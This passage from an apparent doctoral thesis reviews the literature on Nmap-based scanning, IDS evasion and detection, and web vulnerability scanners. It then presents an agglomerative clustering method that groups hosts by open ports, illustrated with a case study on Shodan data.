and matching the responses to those probes with pre-established patterns. These

patterns are in a configuration file called nmap-service-probes. Nmap first tries the

”Null” probe by connecting to the port and waiting for a response. If no matching

response is received, Nmap then sends probes appropriate for the port and protocol in
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question based on the extensive information in the configuration file. Through regular

expression matching, Nmap attempts to determine the software, the version, and

sometimes even additional details about the service from the response provided [102].

ZGrab has modules to enumerate about 20 services [3]. Since ZMap and ZGrab

are the engines behind Censys, one can log into Censys and view the data collected.

Together, ZMap and ZGrab collect data similar to an Nmap scan run with service

detection and safe scripts. ZGrab can also be extended with additional modules to

detect newer services [159].

Masscan can be configured to conduct “banner grabbing”. While primarily

designed to scan the Internet for open ports, this banner grabbing feature allows

some limited service detection capability for certain common protocols [119].

There are several potentially challenging environments to service and version

detection. The unique nature of Tor makes service detection challenging because

servers do not always respond reliably and are more likely to disappear for extended

periods of time when compared to traditional services [161]. As part of their SDN

controller module mentioned above, Manzanares et al. [105] implemented service and

version detection capabilities so that this feature of Nmap could be executed in an

SDN environment.

Internet-wide scanning also presents a challenge. As part of their Censys tool,

Durumeric et al. [44] included the capability of the ZGrab tool, which allows robust

service detection for the subset of services it is capable of scanning. The authors

discussed the use of JSON format and describe the challenges associated with col-

lecting and storing such a large amount of data for so many IP addresses. As with

its open ports data, Censys presents service information via web interface, API, and

Google BigQuery. In addition to host detection, port scanning, OS fingerprinting,

Kim et al. ’s [87] Internet-wide scanning system incorporated service/version detec-
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tion, which they compared to ZGrab. However, their system scans the entire range

of TCP ports, whereas ZGrab (at time of writing) scanned only 23 protocols.

2.1.7 OS Detection

Operating system is analogous to service detection. Just as service detection

attempts to identify the software and version of a single service listening on a partic-

ular port, operating system detection attempts to identify the software and version of

the operating system behind the host. The reasons for testers wanting to know this

information for an operating system are similar as well: an exploit designed to work

against a 32-bit Linux system will not necessarily work against a 64-bit Windows

system without modification.

Nmap has the ability to detect the operating system of a device it scans by

fingerprinting the TCP/IP stack [110]. Nmap has a large database of operating

systems and their TCP/IP characteristics. If the proper option is specified at run-

time, Nmap will send additional packets to each target, gather protocol metadata

from the responses, and attempt a match with its database, reporting the percentage

of confidence it has in its selection [68].

Nmap itself incorporates some limited machine learning in its operating sys-

tem fingerprinting model [155]. For IPv4 tests, a simple scoring system is used where

all the fingerprinted operating systems are compared with the scan results. The fin-

gerprint with the highest score (most feature matches) wins. For IPv6, the LibLinear

library is used to execute logistic regression to determine the operating system.

There have been several papers published on using machine learning/neural

networks to improve operating system detection. Self-organizing neural networks,

support vector machines, and the k* classifier are several methods that can be used
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to help identify OS type [111, 183, 146, 87]. OS detection lends itself to neural network

classification because there are a limited number of operating systems Nmap detects.

Nmap’s OS detection database has 3,780 unique fingerprints based on responses to

consistent probes, whereas the service detection probe list has 11,613 unique entries

based on responses to several different possible probes.

In addition to service detection, Nmap’s OS detection capabilities can be used

to scan and analyze botnets. By determining the operating system of an infected

device, it becomes easier to determine if an operating system vulnerability is present

that could have contributed to the device’s compromise [68]. Nmap can also be used to

generate scanning traffic to emulate an IoT botnet to train a neural network. Adding

the OS detection causes Nmap to send additional packets, changing the behavior and

thus the training of the neural network, resulting in a dataset that combines regular

network traffic, IoT traffic, and the simulated attack traffic [91].

2.1.8 Script Scanning

At this point in the process, the tester should have been able to gather in-

formation on active hosts, open ports, basic service/version information, and host

operating system. In some cases, it may be necessary to gather more information

than basic banner grabbing or OS detection can provide. Script scanning is the next

step in the process and can help gather that information.

2.1.8.1 Nmap Scripting Engine

Nmap has a powerful scripting engine based on the Lua language [127]. These

scripts extend the capabilities of Nmap by allowing data collected by the baseline

scanning engine to feed additional analysis and even gather additional information.
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The scripting engine provides Nmap users with automation capabilities so they can

expand the results of their port scans. For example, scripts can send additional

packets to a port after it has been identified as being open to determine the service

configuration or other service-related information. For example, a script run against

a file-sharing service might provide a list of file shares. A script run against a web

service might provide more information about the web site or its server. Choosing

the correct command line options so that Nmap runs the scripts appropriate to your

situation is an important part of network attack surface mapping with Nmap [139].

Nmap scripts run at one of three different points in the Nmap scan: before

the scan, during the script scanning phase, and after the scan. Scripts run before the

scan can run checks to make sure the script is executed successfully. Scripts executed

during the script scanning phase are designed to gather additional information after

ports are open and services have been identified. Post-scan scripts allow for additional

processing of data already discovered[102].

NMap’s built-in scripts are powerful enough to check for select vulnerabilities

in devices like IoT cameras [153]. While there are many Nmap scripts to cover

common protocols, sometimes a more specific use case requires a custom script be

authored, even if the protocol itself is in common use and has many supporting scripts.

By using the Nmap Scripting Engine, researchers are able to build on the framework of

Nmap and adapt it to many new tasks. For example, it is possible to turn Nmap into

a vulnerability scanner, but this requires writing additional scripts since as delivered

NMap can’t compare closely to scanners like Nessus and OpenVAS [28]. Writing

custom scripts allows Nmap to detect vulnerabilities in Content Management Systems

(CMS) like Wordpress and Joomla [11], Industrial Control Systems (ICS), a form of

Operational Technology (OT) [187, 180, 142], and even honeypots [177].
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2.1.9 Firewall/IDS Evasion and Spoofing

Since port scanning and service detection could be a precursor to illicit activity,

it’s in the best interest of most organizations to detect it and, if necessary, block it.

Unfortunately, such defensive measures can impede legitimate testers as well, making

port scan results invalid and effectively hiding potential test targets from view. Nmap

has a variety of options designed to evade firewalls and Intrusion Detection/Prevention

Systems. While these techniques have varying and limited success depending on

the target’s firewall configuration, they might help to hide scans or conceal their

origin [102].

2.1.9.1 Evading Detection

There are several methods that Nmap users can use to evade firewalls and other

detection/prevention mechanisms. These include tweaking the TTL value, MTU

value, or checksum values; encoding the packet; tampering with packet headers; or

changing the timing of the scan so as to lower suspicion. Since firewalls are also

designed to let valid traffic through, it follows that it might be possible to configure

a port scanning tool to send traffic close enough to legitimate traffic such that it can

evade detection and/or blocking. Here, success or failure ultimately depends on the

configuration of the firewall and IPS on the target system [97].

One method used to evade detection is distributing the port scan between

several different computers. A system designed to identify scanning activity coming

from one IP address might miss the activity in the interest of false positive reduction.

This can be partially countered with distributed sensors that cross-communicate to

correlate scanning activity [115, 37]. Tools like z-scan alternate scanning traffic with

connection attempts to known-active hosts, thus reducing the likelihood that Positive
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Reward detection methods like Threshold Random Walk (TRW) will detect the scan-

ning activity. The alternating-connections method has been shown effective against

TRW but less effective against a hybrid detection method. By playing both sides

against each other, it is possible to develop and improve both a successful evasive

scan technique and a successful detection method for evasive scans [80].

Manzanares et al. [105] implemented a firewall detection and evasion capabil-

ity in their SDN module, which emulated many Nmap functions optimized for an SDN

environment. The authors determined it may be possible to detect some firewalls by

using ACK packets to scan instead of the traditional SYN packets. In addition, if

a firewall is only blocking ICMP packets and ports 80 and 443, it is possible to still

scan the host with Nmap by skipping the host discovery step.

Barbour et al. [16] developed a novel method to evade detection by IDS like

Zeek and Snort. Since one method of detection is to identify an unusually high number

of failed connection attempts, the authors spoofed a connection request to the local

switch after each port was scanned. This was successful in evading detection by Zeek

even up to one million packets per second. This technique is limited in that it can

only operate when scanning within the local network.

2.1.9.2 Detecting Port Scans

Because of the unique signatures presented by Nmap and other tools discussed

earlier, it is feasible to configure an IPS to recognize the order, frequency, and types

of packets and render an effective detection decision. For example, Nmap’s Host

Discovery scan uses a known pattern that is easily detectable. Also, while a hori-

zontal scan may be less obvious, a vertical scan targeting a single organization will

show a large number of SYN requests in a short period of time—another detectable

pattern [188, 26, 27].
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Neural networks are another way to detect port scans. These can be trained

using existing tools and, when fed the appropriate variables representing data col-

lected by a system during a potential scan, they can classify network activity as a

scan when appropriate. There are many works that seek to improve detection with

neural networks, but most of them use the same approach of training a network using

existing network traffic with known intrusions that have been labeled so the network

can learn to differentiate them from traditional traffic. In these cases, false posi-

tive measurements are important to ensure that valid traffic is not mislabeled (and

possibly blocked) as an attack. [129, 88, 38, 7].

Zitta et al. [188] analyzed the Suricata IDS tool as run on a Raspberry Pi

to demonstrate its capability in a low-performance environment representative of an

IoT network. By using Nmap and other tools, the authors were able to demonstrate

which attacks were detected by Suricata, describe why certain attacks were missed,

and explain how to configure the software to detect and/or block the attacks. In

particular, Suricata could detect Nmap scans even in the sneaky and paranoid modes,

but it couldn’t detect XMas scans or ICMP flood attacks unless a rule was added

(which the authors provided). Liao et al. [97] developed IDS rules capable of detecting

Nmap more effectively. They found that typical detection of Nmap scans falls off

sharply when Nmap’s evasion features are used, but that their new rules can still

detect Nmap scans at 91.7% accuracy, even with evasion enabled. They tested their

rules on Suricata, and their comparisons were made against Suricata’s standard rule

set.

Mazel et al. [109] presented a study of fifteen years of network traffic in an

effort to understand Internet-wide scanning. This wide scope of data gave them the

ability to provide useful insights into the intent and behavior of the actors behind

the scanners. For example, they noted that about a third of scanners targeted the
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same systems repeatedly, possibly indicating their intent was for monitoring a specific

target rather than conducting general Internet-wide research.

Panchev et al. [129] discussed the use of neural networks and machine learning

to detect port scan activity. Their activity focused on mobile devices, and the neural

network was trained using patterns of attack traffic. The authors transferred the

network to an Android tablet for use in detecting port scans. Based on the hardware

used (Nexus 7), it is unlikely the network continued to learn once transferred. It would

be interesting to see what could be accomplished with newer tablets and phones with

processors optimized for machine learning. Kim et al. [88] also used neural networks

for attack detection. They trained their model using the KDD Cup 99 dataset—

they used 10% of the dataset to train and the entire dataset to test, resulting in an

accuracy rate of about 99%. One limitation of this work is the age of the data. Even

at publication time in 2017, this data was over 15 years old, and many new targets

and attack techniques are now on the Internet. However, many attack methods were

studied that are still relevant today, including Nmap scans, port sweeps, password

guessing, buffer overflows, and more. Similarly, Dias et al. [38] used the KDD Cup 99

dataset and an Artificial Neural Network (ANN) to drive an IDS. Their key point was

that signature-based IDS could fall quickly out of date, and an ANN-based system

could adapt to novel attacks. Their average detection rate was 99.9%. Like Kim et

al. , this work used data from 1999, which means it would not have been trained on

newer attack techniques. Almiani et al. [7] used a Deep recurrent neural network

to support an IDS. They used the NSL-KDD dataset to demonstrate their model,

which consisted of a traffic processing engine and a Recurrent ANN classification

engine. Their focus was on IoT DoS attacks, and they showed their model to be

highly sensitive to those. They used two neural networks: an outer one to primary

catch DoS attacks, and an inner one trained to catch attacks the first network missed.
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Like the papers mentioned above, this data set is from 1999.

De Santis et al. [36] used data clustering and related techniques to determine

which scanner was conducting the scans. They noted characteristics like the horizon-

tal, single-port nature of ZMap and Censys scans as compared to the more intense

scans from Shodan. Lee et al. [96] detected abnormal patterns in TCP traffic to

determine whether or not a system is being scanned by Shodan or Censys. They

looked at both timing and behavior to make a determination. While this appeared

to be similar to functions offered by a traditional stateful firewall, they also allowed

nodes to share their data, which facilitated detection of horizontal scanning. The

test bed used was small when compared to the Internet, and it was not immediately

clear how detection performance would be affected by the IP randomization used by

Censys.

Cejka and Svepes [26] developed a detection algorithm based on the charac-

teristics unique to Nmap scans. Their technique focused on SYN scans and flags an

excessively high number of ports scanned from a particular IP address. This would not

be as effective against distributed scans; also, the research focused on vertical scans,

so its performance against Internet-wide scanning tools like masscan and ZMap are

unknown. Marnerides and Mauthe [107] provided a detailed analysis of scan traffic

from the Mariposa and Zeus botnets for the purposes of aiding network operators

in early identification of this traffic. They contrasted the traffic generated by these

botnets with that of NMap and showed that it could be profiled and thus detected.

Nmap scanning used random source/destination ports, whereas Mariposa allowed

both horizontal and vertical scans, and Zeus conducted horizontal scans focusing on

a single port.

Koch and Bestavros [90] combined port knocking with Domain Name Service

(DNS) functions to create a new way for systems to hide from port scanners, partic-
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ularly horizontal scanners scanning the entire Internet for one port. Their solution

required the person attempting access prove they know the identity of the system

they are attempting to access. If proof was not given, the packet was dropped so the

server appeared to not exist. It appeared the proof could be obtained by knowing the

domain name, so this technique may not prevent a determined intruder from scanning

or accessing the protected ports.

2.1.9.3 Blocking Port Scans

A firewall is commonly used to block port scans. Firewalls can be configured to

block packets from a certain combination of IP addresses and ports and/or to a certain

combination of IP addresses and ports. This provides great flexibility and allows for

surgical blocks. In addition firewalls can be configured to drop packets entirely (with

no response), respond as if the port is closed, or provide a more customized response

as required [58].

The inherent designed of Software-Defined Networks (SDN) provide additional

opportunities for efficient port scan detection and blocking. When applied in an

Intrusion Prevention System (IPS), SDNs allow for blocking of port scans simply by

discarding the flows associated with the scans [122]. In Openflow, detecting high

thresholds of flows and then blocking those flows under the assertion that they are an

active attack is also effective [122]. Artificial intelligence can be used to improve both

offense against and improving the capabilities of an SDN IDS, using genetic algorithms

to evaluate and improve both sides. Putting real nodes inside of artificial subnets is

effective, but small-batch scans can bypass those attempts to trick scanners [84].

For cloud computing, Mohamed et al. [115] detailed an IPS/IDS system,

specifically focusing on Infrastructure-as-a-Service (IaaS). One concern they planned

to address was the possibility for attacks to occur from inside the cloud environment,
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bypassing any externally-placed firewalls. Their solution could generate new signa-

tures and also used multi-point detection to reduce false positives. The work did not

present any testing results, so it is not apparent how well this concept would perform

in an actual cloud environment. Deshpande et al. [37] developed and tested an IPS

configuration using SNORT in a private cloud environment, but their testing was

limited to preventing port scanning and flooding attacks.

Zhang et al. [186] created ONIS, an alternative to the stealthy idle scan. In

their work they described how advances in the Linux kernel that added randomness

to IP Identifiers (IPIDs) had made idle scans impractical, and they demonstrated the

success of their method in conducting comparably accurate scans while maintaining

stealth.

2.2 Web Attack Surface Mapping

2.2.1 WAVS and Vulnerability Detection

A WAVS takes attack surface mapping to a deeper level than network scan-

ners. WAVS focus on the application component of a network service hosting a web

application. Contrast this to network scanners, which focus on lower-level network

connections—although some scanners including scripts to probe the application-level

connections as well.

The consensus among the literature reviewed was that WAVS consist of three

components: 1) a crawler, which identifies the attack surface of the web site; 2) an at-

tacker component, which sends traffic to the web site in hopes of inducing a response;

and 3) an evaluation component, which evaluates the responses and determines if a

vulnerability exists. The ideal WAVS excels at all three areas. If the attack surface
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is not discovered by the first component, it will never be evaluated by the other two.

Likewise if the correct attack is not simulated, the result will never reveal the vulner-

ability. If the evaluation component fails to correctly identify that a response means

a successful attack, then the vulnerability, despite being successfully exploited, will

remain undiscovered [164].

Evaluating WAVS was a common theme of several papers. Most papers

evaluated multiple WAVS, providing an assessment of how well they identified all

the vulnerabilities without going into detail regarding how each component per-

formed [137, 74, 41, 18, 86, 8, 164]. Some papers described the creation of custom

application designed to test WAVS [41, 166]. The types of tests performed varied

widely, with OWASP Top 10 being the most prevalent [74, 137, 5].

We identified two relevant survey papers. Seng et al. [152] conducted a survey

of web application security scanner evaluations covering 46 scanners and 55 unique

vulnerability types. They noted that “low test coverage” was a potential weakness of

such scanners, a reference to some scanners’ inability to identify the full web attack

surface. The authors found 42 metrics used by other papers to evaluate scanners; the

metrics most relevant to attack surface were number of URLs, number of web pages

visited, code coverage, test coverage, number of links, surface coverage, reachability

scores, number of forms retrieved, number of injection points, and number of attack

vectors. The authors concluded that the papers they had reviewed had inconsistent

metrics and left a gap for future research to fill. Alazmi et al. [5] surveyed research

papers evaluating WAVS, making the observation that most papers only evaluated

WAVS effectiveness against SQLi and XSS, just two of the OWASP Top 10. However,

the remaining eight OWASP Top 10 vulnerabilities generally do not lend themselves

to WAVS testing. For example, “security misconfiguration” is too vague and broad

to ensure consistent testing across multiple WAVS. Therefore, while it is feasible to
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follow the authors’ recommendations to have a consistent, full evaluation of WAVS,

such an evaluation would inevitably conclude that no WAVS effectively evaluates all

OWASP Top 10 vulnerabilities, simply because those vulnerabilities cannot feasibly

be fully evaluated without requiring a significant amount of manual evaluations, and

in some cases, manual fuzzing as well.

Training WAVS to improve effectiveness was a common theme among several

papers, but how each author accomplished this varied widely. Zhang et al. focused

on a single web page and the forms inside of it with the goal of improving the test

cases sent to the application [184] . Esposito et al. built a tool to improve any WAVS

called JARVIS, designed to sit between a WAVS and its test application providing

“seed” URLs to improve the coverage of the scanner [48]. Doupé et al. developed

a state-aware scanner, since state confusion causes WAVS to malfunction, thinking

they are testing a site as a logged-in user when in fact they are not [40].

2.2.2 Manual Testing

Several papers presented improvements to reconnaissance for manual testers.

Different from WAVS, manual testers interact directly with the target in an attempt

to reach areas of the attack surface or attempt techniques that WAVS will not. Several

frameworks exist that assist with this, in particular Maltego and recon-ng. Recon-ng

has a Metasploit-style user interface and allows for the creation, community sharing,

and usage of plugins that interface with online tools and other resources to obtain

data about a target. The framework provides a database in which to store data

returned from requests [29].

Reconnaissance for manual testing can be active or passive. Active reconnais-

sance is considered to be any direct action that touches the target over the network,
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like a port scan or visiting the sites. Passive reconnaissance is asking other sites like

Google, Shodan, Censys, or crt.sh, for information about the site. In passive recon-

naissance, it is not necessary to directly touch the target over the network. Tools like

JSoup perform passive reconnaissance, but also go active when they scrape the DOM

of the website, since this requires contacting the website to collect the DOM [143].

Tools like Recon Hub, W3-Scrape, and the Saraswathi et al. framework perform ac-

tive reconnaissance and some vulnerability scanning as well. Actively scanning for

vulnerabilities should only be done with permission from the site owner, since in order

to detect a vulnerability, the WAVS needs to attempt to exploit it, even if only by

sending a simple test case that returns an expected response. Doing this may be in

violation of the law—even if the tester thinks they have permission, consulting legal

counsel would be wise [167, 81, 145]

2.2.3 Content Extraction

Assessing the attack surface of a web application using page elements neces-

sitates parsing and interpreting those page elements. There are many works that

address this topic for a variety of reasons not necessarily directly related to attack

surface mapping for security, but still interesting and useful. This area is closely

related to content extraction, sometimes called “web scraping” or “web mining”. Lit-

erature shows there are three main types of web mining: web content mining, web

structure mining, and web usage mining [20]. Web content mining seeks to extract

information from web pages–this is the most expected definition of web mining. Web

structure mining involves analyzing how web pages are connected via the structure

of their hyperlinks. Web usage mining analyzes server access logs to find patterns

in how web sites are being used [99]. Web content mining was most relevant to the
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research in this study.

One technique for content mining was the creation of a DOM tree by parsing

HTML tags as an outline. Creating a DOM tree allows for better parsing and anal-

ysis of the content of the web page, and it leaves open the possibility of recreating

the HTML later. It also helps to categorize and align similar information as seen on

a page. There are several motivations for web content mining, including extracting

“useful” and “relevant” content [66, 79] or using text density to identify relevant ar-

eas to re-render pages on mobile devices [163]. Aside from the more traditional tag

parsing, other techniques like mimicry (using predetermined data location), weight

measurement (determining main text from weight of words), differential (assuming

main content is the difference between pages on the same site), and machine learning

(training an algorithm to detect content) can be used to locate and extract infor-

mation [39]. Even newer works in this field didn’t account for modern web sites

dynamically generated with JavaScript [173]. Of special interest and relevance to

this work are the use of Jaccard similarity [4] and edit distance [182, 140] to help

identify and retrieve interesting content across multiple pages. A survey by Pol et

al. [132] described issues with and techniques to accomplish content extraction. They

classified data on the web as either structured, unstructured, or semi-structured, also

describing different methods for extracting each type of data, to include the use of

crawlers, parsers, and schema knowledge mining.

2.2.4 Attack Surface Metrics

Attack surface metrics can serve many purposes, to include measuring to eval-

uate or improve security, determine maintainability, identify potential testability is-

sues, or otherwise determine level of effort for a task that depends on the size or
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complexity of the attack surface. Some attack surface measures allow the number of

confirmed vulnerabilities to impact the metrics [63], while others consider functional

features like the number of roles, static vs. active content, and how many domains

are in use [70]. Maintainability of a site could be measured by such characteristics

as complexity of forms, links to other pages, and technology used in the site [60].

Likewise, testability can be evaluated by measuring the use of JavaScript or web

technologies like Flash and AJAX; placement of items outside the visible page due to

the use of CSS; counts of elements, including “difficult” elements; human workflow

interruptions; and server response timing and stability [25]. Measuring quality can

be accomplished by counting factors like how many broken links and orphan pages a

site has, ans well as how accessible a site is in terms of colors, consistency of main

controls, quick access features, etc [123]. These papers outline useful metrics, both for

security and non-security purposes; however most papers looked at sites individually,

not as a group, and we conclude from them that numbers alone cannot provide a true

picture of the attack surface from a security perspective.

2.2.5 Clustering of Web Attack Surfaces

The current research around clustering web pages is aimed more toward data

collection and analysis rather than preparation of an attack surface for security testing

or other forms of security evaluation. However, the basic techniques are similar. After

all, reconnaissance in this instance is merely a specialized form of data gathering. As

such, these papers that describe clustering web pages based on structure and content

hold value that can influence attack surface mapping as well.

Clustering can be used to identify structures of web pages, using cross-links

and the structure of the HTML Document Object Model (DOM) as inputs to a cus-
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tomized hierarchical clustering algorithm [98]. Combining structural and stylistic

similarity measures can help classify the pages of a site for multiple functions, in-

cluding categorization and extraction of data, as Gowda et al. did when they used

agglomerative hierarchical clustering with the hope of reducing outlier impact on their

results. Trial and error helped them identify the best parameters to create the most

useful clusters [64].

Clustering can help researchers and security professionals identify phishing

sites, as Feng et al. did, using Doc2Vec to convert the DOM into vectors, determined

the distance between those vectors, and used those distances in a hierarchical cluster-

ing algorithm. They used unsupervised learning because they believe it aligned more

closely with how humans think [54].

Information retrieval is another reason to cluster web pages. Structural simi-

larity can be used to identify the data to extract and cluster. Crescenzi et al. spidered

websites using this method and measured F-measure, entropy, and purity to evaluate

their algorithm [33]. Yi-Ouyang et al. also clustered sites for information retrieval but

focused on E-Commerce sites and their specific challenges with respect to information

extraction. They collected additional metrics, including Partition Coefficient, Classi-

fication Entropy, Partition Index, Separation Index, and Xie and Ben’s Index. They

found a custom algorithm outpeformed more traditional algorithms like k-means and

k-medoid [179].

2.3 Conclusions from Literature Review

We conducted this literature review in two parts to support two main research

areas: network attack surface mapping and web attack surface mapping. The first

part found most research focused on the functions of network attack surface mapping,
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identifying how new tools were created or common tools were used in unique ways

to gather the data needed to perform each particular function. The second part dis-

cussed WAVS, contrasting them with manual techniques, while also surveying content

extraction and metrics for ideas to assist with research and also reviewing clustering

to verify that current research was focused on information retrieval, not attack surface

mapping to assist manual security testing.

From this review we concluded a gap existed, not in probing networks to gather

information or in executing automated test cases, but in analyzing and processing

the information in a way useful to manual offensive security testers. Our research in

subsequent chapters fills this gap, introducing a new way for manual testers to view

any attack surface and a new way to use unsupervised machine learning to provided

assistance to the offensive security tester.
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Chapter 3

Network Attack Surface Mapping

3.1 Host-Based Network Attack Surface Mapping

The work presented in this section was published in IEEE Secure Development

(IEEE SecDev) 2020.

When gathering data for this research, we found that the network attack

surface for a target network can have hundreds or thousands of hosts, with thousands

or tens of thousands of ports. Whether protecting this attack surface as a blue team

or testing it as a pen test team or red team, you must understand the surface first.

The typical listing of ports and services, no matter how well organized, doesn’t scale

to large networks, so the information is clustered in a way that is most useful to

network attackers and defenders alike.

In this study we group similar hosts together in such a way that security teams

can more easily understand the attack surface of an organization. The overall process

was as follows:

• Computing similarity between hosts
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• Agglomerative hierarchical clustering of hosts based on similarity

• Measuring attack surface complexity

3.1.1 Computing Similarity

Clusters are created based on host similarity. Since port status (open or closed)

is the basic information returned by a default Nmap scan, TCP port statuses are used

to define similarity. With 65,535 possible TCP ports being in a status of open or

closed, a Boolean vector is most appropriate. Two vectors are created based on this

information, each having values of True for port open and False for port closed. The

first, known as the unique-ports vector, has m dimensions, where m is the number of

unique open ports across the entire organization. Dimensionality becomes a problem,

so a second n-dimensional vector (the frequent-ports vector) is created, where n is the

number of unique open ports across an organization that exists on 1% of hosts. This

concept is inspired by frequent pattern analysis, but rather than using a traditional

algorithm like FP-Growth (which provides frequent patterns of all lengths that meet

minimum support) [67], a custom test of support is created, designed to only return

single-item patterns. This proves more efficient for very low levels of support and

highly-dimensional unique-ports vectors.

Jaccard similarity is ideal because of its appropriateness with binary data [67].

In order to improve inclusivity of clusters, the similarity calculation is computed one

of two ways. If a host has at least one port open from the smaller frequent-ports

vector, then that vector is used for the similarity calculation. This ensures that an

open port occurring rarely in the organization’s network does not prevent a host from

being clustered. However if neither host in the pair being compared has any frequent

ports open, then the larger unique-ports vector is used instead to ensure a better
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chance of clustering these outlier hosts. The similarity between each possible pair of

n hosts is calculated, requiring n2 similarity calculations, each resulting in a score

between 0 and 1 inclusive, with 1 indicating perfect similarity and 0 indicating no

open ports in common.

3.1.2 Agglomerative Hierarchical Clustering of Hosts

Before clustering the hosts, the similarity coefficients are sorted in descending

order, with the most similar host pairs (coefficient closest to 1) on top. Our algorithm

uses an agglomerative hierarchical clustering method, iterating all host pairs above

an arbitrarily-chosen similarity coefficient in order from most similar to least similar.

If the similarity score for a host pair is greater than a chosen minimum similarity

coefficient, the pair is chosen to be clustered together. If one of the hosts in the

chosen pair is already clustered, the other host is added to that cluster; otherwise a

new cluster is created with both hosts. Any host that is not in a cluster after the

iteration is identified as an outlier.

One adverse effect of the reduced-dimensionality approach is a reduction in

homogeneity of the clusters, so the concept of an ”intra-cluster outlier” is created.

After clusters and traditional outliers are identified, the clusters are further processed

to identify the ”cluster mode”, or the port pattern that exactly matches most hosts

in the cluster. All hosts not exactly matching the cluster mode are marked as intra-

cluster outliers. If the cluster is not clearly unimodal, then all hosts in the cluster

are marked as intra-cluster outliers. These unique hosts are similar enough to be

clustered, but if they are not somehow separated within the cluster, their unique-

ness would mean uniform test cases applied to the cluster could miss a potential

vulnerability.
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Algorithm parameters (such as the 1% support value or the 0.90 minimum

similarity coefficient) are chosen based on making clusters most useful, a purely qual-

itative analysis of cluster quality. Modifying these parameters adds an interactive

component to the algorithm. For example, raising the minimum similarity coefficient

results in more homogeneous clusters; lowering it reduces the number of outliers.

Tweaks to other parts of the algorithm would be easy to accomplish, largely depend-

ing on the tester’s tolerance for outliers, desired cluster size/number, and preference

toward cluster homogeneity. Customizing the algorithm in this way allows a red

team or blue team to customize the size and content of groups of hosts, and these

groups can be assigned out to team members for action. This grouping for delega-

tion is what makes clustering more beneficial than a simple list of systems prioritized

by commonly-found ports. The final agglomerative hierarchical clustering process is

outlined in Algorithm 1.

3.1.3 Measuring the Attack Surface Complexity

Once the clusters are identified, it becomes possible to measure the attack

surface. Attack surface clusterability is a measure of the percentage of systems that

could be grouped into a cluster, including intra-cluster outliers. This is computed

by dividing the number of hosts in clusters by the total number of hosts. A highly-

clusterable attack surface lends itself to easier initial analysis.

We developed a different but similar measurement called attack surface com-

plexity. This is calculated using Equation 3.1 below.

n∑
i=1

[log10(Mi) + 1] +
j

2
+ k (3.1)

where n is the number of clusters, M is the set of lengths of all clusters, j is

49



Algorithm 1: Split-Similarity Agglomerative Hierarchical Clustering
of Hosts with Quasi-Outlier Breakout

1 Let minSimilarity == 0.90, support == 1.0;
Input: Set of k hosts H in an organization and their sets of open TCP

ports {P1, P2, · · · , Pk}
Output: List of clusters, and outliers

2 Let U ′ be the set of unique values ∈ [P1 ∪ P2, · · · , Pk];
3 Let F ′ be the set of ports in U that appear in at least support% of the

elements in P ;
4 for Hi ∈ H do
5 Let Ui be a Boolean vector of size |U ′| with each value being True if

the corresponding port from U ′ is open and False if not;
6 Let Fi be a Boolean vector of size |F ′| with each value being True if

the corresponding port from F ′ is open and False if not;

7 end
8 for [A,B] ∈ Hm ×Hn do
9 if FA ∪ FB ̸= ∅ then

10 simV alue == Jaccard(FA, FB)
11 else
12 simV alue == Jaccard(UA, UB)
13 if J(A,B) >= minSimilarity then
14 J(A,B) == simV alue
15 end

16 end
17 Sort J in descending order of value;
18 for [A,B] ∈ J do
19 if A is clustered and B is not then
20 Add B to A’s cluster
21 else if B is clustered and A is not then
22 Add A to B’s cluster
23 else
24 Create a new cluster with A and B

25 end
26 for each cluster do
27 if unimodal cluster mode exists then
28 Designate each host != cluster mode as an intra-cluster outlier
29 else
30 Designate all hosts in that cluster as intra-cluster outliers.

31 end
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the total number of intra-cluster outliers, and k is the number of outliers. The intent

of this measurement is to quantify the level of effort it would take a security team

to test or defend the attack surface in question, given that similar techniques can be

repeated for similar services.

3.1.4 The Data set

The data set for our analysis contains open ports and host IP addresses for

various organizations. Rather than conducting port scans against multiple organiza-

tions, the search engine Shodan was used instead. A wide variety of organizations

were chosen across multiple industries to ensure the clustering process would work on

a variety of network sizes and types. A summary of the data set is shown in Table

3.1.

Organization Host Count Port Count
College 747 3,459
Professional 433 456
Tourism 929 1,605
Social Networking 256 423
Travel 305 354
Retail 1,375 1,741
Hospital System 785 1,265
Financial 1,584 1,957
Hospitality 224 327
Resort 288 494
Government 692 1,027
Food 39 49
Healthcare 5,289 9,337
Total 12,946 22,494

Table 3.1: Data Set Summary

The data set used for this research included IP addresses, ports, banner in-

formation, timestamp of when collected, hostnames, country, city, operating system,
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and the organization. However only IP addresses, ports, and organizations were used

in the analysis. The Healthcare network for example, with 5,289 externally facing IP

addresses exposing 9,337 ports, could ideally be compressed so that testers can focus

on large clusters of similar systems as a single group while also focusing on outliers

that might require more unique test techniques.

3.1.5 Case Study: The Financial Institution

Thirteen different organizations were evaluated using these algorithms. The

data used for the example below is the complete set of data from the Financial Institu-

tion organization. The Financial Institution has 14 unique ports, and the unique-ports

vector is: [80, 443, 53, 21, 22, 8000, 25, 8443, 500, 8008, 8010, 8019, 8023,

5060].

The algorithm identified the frequent-ports vector as [80, 443, 53, 21].

This is confirmed by the FP-Growth algorithm as shown in Table 3.2.

Port Pattern Count
443 1,057
80 743
80, 443 365
53 82
21 36

Table 3.2: Frequent Patterns for the Financial Institution

Table 3.3 shows representative samples from the Jaccard calculations. All of

the hosts in the samples had frequent ports, so the Jaccard value was calculated

from the frequent-ports vector. Since there were only four frequent ports for this

organization, clustered systems most likely have identical port configurations. This

is because the only possible Jaccard calculation above the threshold of 0.90 for four-

dimensional vectors is 1.0, indicating a perfect match. The exception to this is for
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those systems with no frequent ports open, since the similarity algorithm falls back

to a Jaccard computation based on the larger unique-ports vectors.

Host Ports Cross-Host Ports Jaccard
[443] [443] 1.0
[80, 443] [443] 0.5
[443] [443] 1.0
[21] [443] 0.0
[80] [80, 443] 0.5

Table 3.3: Samples of Jaccard coefficient calculations

Table 3.4 shows the clusters, outliers, and intra-cluster outliers computed from

the Financial Institution data. This data shows the fallback classification by the larger

unique-ports vectors at work in the clusters made from ports 22, 25, 8443, and 500.

These clusters contain hosts with no ports in the frequent-ports vector. Note that

the cluster algorithm is identical in all cases. However, earlier when the Jaccard

similarity was calculated, the similarity algorithm used the larger vector for those

hosts. As such, the clustering algorithm was provided additional information and

could successfully cluster these systems which, while arguably outliers to the network

as a whole, are still similar enough to warrant being grouped together.

The figure also demonstrates the post-processing that identifies intra-cluster

outliers. Note that there are 690 servers with only port 443 open, and 2 servers with

only port 443 open but also 8000 open. A red team would be wise to closely examine

port 8000 on those two servers to determine if an unexpected web interface is open.

A blue team would be wise to review the configuration of that server and the firewall

to ensure that port was intentionally left open. Likewise with the port 21 cluster

